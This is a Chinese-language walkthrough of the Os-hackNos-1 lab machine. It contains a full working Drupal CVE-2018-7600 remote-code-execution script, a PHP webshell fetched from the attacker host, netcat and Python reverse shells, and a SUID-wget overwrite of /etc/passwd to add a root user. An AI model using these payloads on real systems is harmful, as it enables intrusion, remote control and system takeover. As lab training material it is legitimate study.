Os-hackNos-1

Os-hackNos-1

一、主机发现和端口扫描

• 主机发现

  arp-scan -l
  

  

• 端口扫描

  nmap -P 192.168.80.141
  

  

二、信息收集

• 访问80端口，可知目标是ubuntu系统，中间件是Apache

  

• 目录扫描，发现两个路径

  dirsearch -u http://192.168.80.141/ -e *
  

  

• index.html路径就是主页，接着访问/drupal

  

• 是一个Drupal搭建的CMS，继续进行路径扫描，有一个CHANGELOG.txt文档，可以看到版本为7.57

  dirsearch -u http://192.168.80.141/drupal -e *
  

  

  

三、漏洞挖掘

• 根据版本号查询历史漏洞，发现存在CVE-2018-7600，直接使用该EXP

  https://github.com/pimps/CVE-2018-7600
  git clone https://github.com/pimps/CVE-2018-7600.git
  

  #!/usr/bin/env python3
  
  import requests
  import argparse
  from bs4 import BeautifulSoup
  
  def get_args():
    parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                      epilog= '''
                      This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                      by poisoning the recover password form (user/password) and triggering it with
                      the upload file via ajax (/file/ajax).
                      ''')
    parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
    parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
    parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
    parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
    args = parser.parse_args()
    return args
  
  def pwn_target(target, function, command, proxy):
    requests.packages.urllib3.disable_warnings()
    proxies = {'http': proxy, 'https': proxy}
    print('[*] Poisoning a form and including it in cache.')
    get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
    post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
    r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, "html.parser")
    try:
      form = soup.find('form', {'id': 'user-pass'})
      form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
      if form_build_id:
          print('[*] Poisoned form ID: ' + form_build_id)
          print('[*] Triggering exploit to execute: ' + command)
          get_params = {'q':'file/ajax/name/#value/' + form_build_id}
          post_params = {'form_build_id':form_build_id}
          r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
          parsed_result = r.text.split('[{"command":"settings"')[0]
          print(parsed_result)
    except:
      print("ERROR: Something went wrong.")
      raise
  
  def main():
    print ()
    print ('=============================================================================')
    print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
    print ('|                              by pimps                                     |')
    print ('=============================================================================\n')
  
    args = get_args() # get the cl args
    pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
  
  
  if __name__ == '__main__':
    main()
  

• 执行命令

  python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "whoami"
  python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "pwd"
  

  

四、连接webshell

• 在本地编写一个webshell，并开启http服务

  <?php system($_POST['glc']);?>
  

  

• 将webshell下载到目标靶机的网站目录下

  python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/shell.php"
  

  

  

• 测试webshell是否连接成功

  

五、反弹shell

• 目标服务器存在nc命令，使用nc反弹shell

  glc=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.80.139+8848+>/tmp/f
  

  

  

  

• 也可以使用python反弹shell

  python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.139",8848));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  

  

  

六、二次信息收集

• 发现一个alexander.txt文件，对其进行base64解码

  KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
  

  

  +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
  ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
  ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
  >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
  ++.<
  

• 使用的是Brainfuck加密，进行Brainfuck解密

  Brainfuck解密网站：https://www.splitbrain.org/services/ook
  
  解密结果james:Hacker@4514
  

  

• 尝试ssh连接，但是密码不对

  ssh james@192.168.80.141
  

  

• 在home中找到james和其目录下的user.txt

  

七、权限提升

• suid提权，需要搜索到带有s的文件，开始查找

  find / -perm -u=s -type f 2>/dev/null
  

  

• 发现wget具有suid权限，而且普通用户可以执行，那么可以通过下载目标靶机上的passwd文件，然后添加一个有root权限的用户到passwd文件中，然后使用wget -O将内容重定向到目标靶机的/etc/passwd中

  cat /etc/passwd
  

  

• 在kali中生成密码

  openssl passwd -1 -salt glc 123456
  
  $1$glc$kuZClTRBy.K2I/O4p9kSJ1
  

  

• 将密码添加到我们构造的passwd文件中，然后下载重定向到/etc/passwd

  glc:$1$glc$kuZClTRBy.K2I/O4p9kSJ1:0:0:root:/root:/bin/bash
  
  python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/passwd -O /etc/passwd"
  

  

• 切换到glc用户

  su glc
  

  

• 因为su命令必须在终端中执行，所以我们使用转换成python执行终端命令

  python3 -c 'import pty;pty.spawn("/bin/bash")'
  

  

• 结束